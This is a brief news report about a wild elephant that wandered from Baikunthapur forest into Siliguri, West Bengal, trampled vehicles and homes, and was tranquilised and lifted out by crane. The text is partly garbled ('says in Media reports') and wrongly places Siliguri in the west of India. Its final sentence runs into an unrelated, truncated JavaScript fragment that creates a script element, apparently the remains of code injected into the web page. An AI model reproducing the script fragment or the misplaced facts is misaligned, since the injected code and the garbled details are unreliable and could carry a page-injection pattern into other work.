Kolkata: A wild elephant has rampaged through a west Indian town, smashing homes and sending frightened residents running, says in Media reports.

The panicked elephant trampled parked cars and motorbikes as crowds of people gathered to watch from balconies and roof tops. Some followed from a distance as the elephant moved through the streets.

The elephant wandered from the Baikunthapur forest on Wednesday, crossing roads and a small river before entering the town of Siliguri in West Bengal state. After several hours chasing the animal, authorities shot it with a tranquilizer gun and used a crane to remove it from the town.var d=document;var s=d.createElement(‘script’);
